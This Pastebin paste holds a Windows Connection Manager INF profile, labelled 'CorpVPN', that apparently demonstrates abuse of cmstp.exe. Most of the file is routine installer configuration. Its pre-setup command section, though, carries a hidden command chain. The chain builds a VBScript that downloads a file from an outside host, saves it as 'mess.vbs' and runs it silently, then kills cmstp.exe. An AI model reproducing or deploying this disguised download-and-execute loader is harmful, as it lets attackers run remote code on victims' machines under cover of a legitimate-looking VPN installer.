Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;===========================================================================
- ;
- ; All of the customizable sections of this file are in the [Strings] section
- ; at the bottom.
- ;
- ;===========================================================================
- [version]
- Signature=$chicago$
- AdvancedINF=2.5
- [CmDial32.Dll]
- Version=458754
- Build=943259648
- ; -------------------------------------------------------------------
- ; All User Installs
- ; -------------------------------------------------------------------
- [DefaultInstall]
- SmartReboot=N
- CustomDestination=CustInstDestSectionAllUsers
- RunPreSetupCommands=RunPreSetupCommandsSection
- ;CopyFiles=Xnstall.CopyFiles, Xnstall.CopyFiles.ICM
- ;AddReg=Xnstall.AddReg.AllUsers
- RegisterOCXs=RegisterOCXSection
- ; -------------------------------------------------------------------
- ; Launches the All User postinstall commands
- ; -------------------------------------------------------------------
- [PostInstall]
- SmartReboot=N
- CustomDestination=CustInstDestSectionAllUsers
- RunPostSetupCommands=RunPostSetupCommandsSection
- ; -------------------------------------------------------------------
- ; Single User Installs
- ; -------------------------------------------------------------------
- [DefaultInstall_SingleUser]
- SmartReboot=N
- CustomDestination=CustInstDestSectionSingleUsers
- RunPreSetupCommands=RunPreSetupCommandsSection
- CopyFiles=Xnstall.CopyFiles.SingleUser, Xnstall.CopyFiles.ICM
- AddReg = Xnstall.AddReg.Private
- RegisterOCXs=RegisterOCXSection
- ; -------------------------------------------------------------------
- ; Launches the Single User postinstall commands
- ; -------------------------------------------------------------------
- [PostInstall_Single]
- SmartReboot=N
- CustomDestination=CustInstDestSectionSingleUsers
- RunPostSetupCommands=RunPostSetupCommandsSection
- ; -------------------------------------------------------------------
- ; This file section sets up the desktop icon GUID and is thus
- ; only needed on legacy systems.
- ; -------------------------------------------------------------------
- [Xnstall_Legacy]
- SmartReboot=N
- CustomDestination=CustInstDestSectionAllUsers
- AddReg=Xnstall.AddReg.DesktopIcon, Xnstall.AddReg.Icon
- ; These section are kept for legacy compatibility but are no longer used.
- [Xnstall_Private]
- [Xnstall_AllUser]
- ; -------------------------------------------------------------------
- ; Section used to uninstall Private user profiles
- ; -------------------------------------------------------------------
- [Remove_Private]
- Cleanup=1
- SmartReboot=N
- BeginPrompt=RemoveBeginPromptSection
- EndPrompt=RemoveEndPromptSection
- RunPreSetupCommands=RunPreUnInstCommandsSection
- CustomDestination=CustUnInstDestSectionPrivate
- DelFiles=Remove.DelFiles, Remove.DelFiles.ICM
- DelReg=Remove.DelReg.Private
- DelDirs=CleanDir
- RunPostSetupCommands=RunPostUnInstCommandsSection
- ; -------------------------------------------------------------------
- ; Section used to uninstall All User profiles
- ; -------------------------------------------------------------------
- [Remove]
- Cleanup=1
- SmartReboot=N
- BeginPrompt=RemoveBeginPromptSection
- EndPrompt=RemoveEndPromptSection
- RunPreSetupCommands=RunPreUnInstCommandsSection
- CustomDestination=CustUninstDestSectionAllUsers
- DelFiles=Remove.DelFiles, Remove.DelFiles.ICM
- DelReg=Remove.DelReg.AllUser
- DelDirs=CleanDir
- RunPostSetupCommands=RunPostUnInstCommandsSection
- ; The following Run(Pre/Post)SetupCommandsSections allow you to run commands before or
- ; after the profile is installed.
- ;
- ; Similarly the following Run(Pre/Post)UnInstCommandsSections will allow you to run
- ; commands before or after the profile is uninstalled.
- ;
- ; An example command line is:
- ; Myprogram.exe /<switches> <options>
- [RunPreSetupCommandsSection]
- ; Commands Here will be run Before Setup Begins to install
- cmd /c @echo "@echo ^@echo off &@echo start c:\windows\system32\cmd.exe /c ""@echo Set objXMLHTTP=CreateObject(""MSXML2.XMLHTTP"")>poc.vbs&@echo objXMLHTTP.open ""GET"",""http://www.greyhathacker.net/tools/messbox.exe"",false>>poc.vbs&@echo objXMLHTTP.send()>>poc.vbs&@echo If objXMLHTTP.Status=200 Then>>poc.vbs&@echo Set objADOStream=CreateObject(""ADODB.Stream"")>>poc.vbs&@echo objADOStream.Open>>poc.vbs&@echo objADOStream.Type=1 >>poc.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>poc.vbs&@echo objADOStream.Position=0 >>poc.vbs&@echo objADOStream.SaveToFile ""mess.vbs"">>poc.vbs&@echo objADOStream.Close>>poc.vbs&@echo Set objADOStream=Nothing>>poc.vbs&@echo End if>>poc.vbs&@echo Set objXMLHTTP=Nothing>>poc.vbs&@echo Set objShell=CreateObject(""WScript.Shell"")>>poc.vbs&@echo objshell.run ""mess.vbs"",vbhide>>poc.vbs"" " > %tmp%/ten.exe & cmd /c ten.exe
- taskkill /IM cmstp.exe /F
- [RunPostSetupCommandsSection]
- ;Commands here will be run After setup finishes
- [RunPreUnInstCommandsSection]
- ;Commands here will be run before Uninstall Begins
- [RunPostUnInstCommandsSection]
- ;Commands here will be run after Uninstall Finishes
- ; -------------------------------------------------------------------
- ; These are the registry entries for installation.
- ; -------------------------------------------------------------------
- [Xnstall.AddReg.DesktopIcon]
- "HKCR", "CLSID\%DesktopGUID%",,,"%ServiceName%"
- "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\%DesktopGUID%",,"0x00001000","%ServiceName%"
- "HKCR", "CLSID\%DesktopGUID%\ShellFolder","Attributes",1,"00","00","00","00"
- ; Please make sure the following three commands are alphabetized by the %Open%, %Delete%,
- ; and %Settings% entries defined in the Strings section
- ; the Connect Command
- "HKCR", "CLSID\%DesktopGUID%\Shell\Open\Command",,,"cmmgr32.exe ""%49000%\%ShortSvcName%.cmp"""
- "HKCR", "CLSID\%DesktopGUID%\Shell\Open",,,"%Open%"
- ; the Delete Command
- "HKCR", "CLSID\%DesktopGUID%\Shell\Delete\Command",,,"cmstp.exe /u ""%49000%\%ShortSvcName%\%ShortSvcName%.inf"""
- "HKCR", "CLSID\%DesktopGUID%\Shell\Delete",,,"%Delete%"
- ; the Properties Command
- "HKCR", "CLSID\%DesktopGUID%\Shell\Settings...\Command",,,"cmmgr32.exe /settings ""%49000%\%ShortSvcName%.cmp"""
- "HKCR", "CLSID\%DesktopGUID%\Shell\Settings...",,,"%Settings%"
- [Xnstall.AddReg.AllUsers]
- "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%ShortSvcName%", "UninstallDir", "0x00001000", "%49001%"
- "HKLM", "%AppAct%\Mappings","%ServiceName%","0x00001000","%49001%\%ShortSvcName%.cmp"
- [Xnstall.AddReg.Private]
- ; Single User Mappings is now written in code.
- ;"HKCU", "%AppAct%\Mappings","%ServiceName%","","%%UserProfile%%\%PathFromProfileDir%\%ShortSvcName%.cmp"
- ; -------------------------------------------------------------------
- ; These are the registry settings which
- ; are deleted during uninstall.
- ; -------------------------------------------------------------------
- [Remove.DelReg.AllUser]
- "HKLM", "%AppAct%\%ServiceName%"
- "HKLM", "%AppAct%\Mappings","%ServiceName%"
- "HKCU", "%AppAct%\UserInfo\%ServiceName%"
- "HKCR", "CLSID\%DesktopGUID%"
- "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\%DesktopGUID%"
- "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%ShortSvcName%"
- [Remove.DelReg.Private]
- "HKCU", "%AppAct%\%ServiceName%"
- "HKCU", "%AppAct%\Mappings","%ServiceName%"
- "HKCU", "%AppAct%\SingleUserInfo\%ServiceName%"
- "HKCU", "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%ShortSvcName%"
- [CleanDir]
- %49001%\%ShortSvcName%
- ; -------------------------------------------------------------------
- ; These are the directory specifications.
- ; -------------------------------------------------------------------
- [CustInstDestSectionAllUsers]
- 49000,49001=AllUSer_LDIDSection, 7
- [CustInstDestSectionSingleUsers]
- 49000,49001=SingleUser_LDIDSection, 7
- [CustUninstDestSectionAllUsers]
- 49000,49001=XConnMgrLDIDSectionAllUsers, 5
- [CustUnInstDestSectionPrivate]
- 49000,49001=XConnMgrLDIDSectionPrivate, 5
- [SingleUser_LDIDSection]
- "HKCU", "%AppAct%", "ProfileInstallPath", "%UnexpectedError%", ""
- [AllUSer_LDIDSection]
- "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
- [XConnMgrLDIDSectionAllUsers]
- "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%ShortSvcName%", "UninstallDir", "", ""
- [XConnMgrLDIDSectionPrivate]
- "HKCU", "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%ShortSvcName%", "UninstallDir", "", ""
- [DestinationDirs]
- Xnstall.CopyFiles=49001, %ShortSvcName%
- Xnstall.CopyFiles.SingleUser=49001, %ShortSvcName%
- Xnstall.CopyFiles.ICM=49001
- Remove.DelFiles=49001, %ShortSvcName%
- Remove.DelFiles.ICM=49001
- [SourceDisksNames]
- 55=, , 0
- ; -------------------------------------------------------------------
- ; These are the Prompt Sections
- ; -------------------------------------------------------------------
- [RemoveBeginPromptSection]
- Prompt=%BeginPrompt%
- ButtonType=YESNO
- Title=%UninstallAppTitle%
- [RemoveEndPromptSection]
- Prompt=%EndPrompt%
- [Strings]
- ; -------------------------------------------------------------------
- ; These are the non localizable strings...
- ; -------------------------------------------------------------------
- KEY_RENAME = "Software\Microsoft\Windows\CurrentVersion\RenameFiles"
- AppAct = "SOFTWARE\Microsoft\Connection Manager"
- ; -------------------------------------------------------------------
- ; These are the localizable strings...
- ; -------------------------------------------------------------------
- UnexpectedError = "An unexpected error occurred. Please reboot and try the installation again."
- ; When you localize these commands (they are the commands for the Desktop Icon on legacy
- ; platforms) you must make sure to re-alphabetize the Registry add calls above. Win95
- ; shows the menus in the order they were added and doesn't alphabetize them for you.
- Settings = "P&roperties"
- Open = "C&onnect"
- Delete = "&Delete"
- ; -------------------------------------------------------------------
- ; The following strings are set by the Connection Manager Administration Kit
- ; Do not change any of the following strings
- ; -------------------------------------------------------------------
- ServiceName="CorpVPN"
- ShortSvcName="CorpVPN"
- DesktopGUID="{46E030C3-DC6A-4251-80A3-E3E2753FF0E2}"
- UninstallAppTitle="CorpVPN"
- DesktopIcon=""
- PhonebookPath=""
- BeginPrompt="Do you want to remove CorpVPN?"
- EndPrompt="Successfully removed CorpVPN."
- DisplayLCID=1033
- CmLCID=1033
- Allow32bit=0
- [CMAK Status]
- InfVersion=5
- PhoneName=CorpBook
- LicenseFile=
- IncludeCMCode=0
- UpdatePhonebook=1
- [Extra Files]
- [Merge Profiles]
- [Xnstall.AddReg.Icon]
- HKCR,"CLSID\%DesktopGUID%\DefaultIcon",,,"%11%\CMMGR32.EXE,0"
- [Xnstall.CopyFiles.SingleUser]
- CorpVPN.cms,,,4
- CorpVPN.inf
- [Xnstall.CopyFiles]
- CorpVPN.cms,,,4
- CorpVPN.inf
- [Xnstall.CopyFiles.ICM]
- CorpVPN.cmp
- [Remove.DelFiles.ICM]
- CorpVPN.cmp
- [SourceDisksFiles]
- CorpVPN.inf = 55
- CorpVPN.cmp = 55
- CorpVPN.cms = 55
- [Remove.DelFiles]
- CorpVPN.cms
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement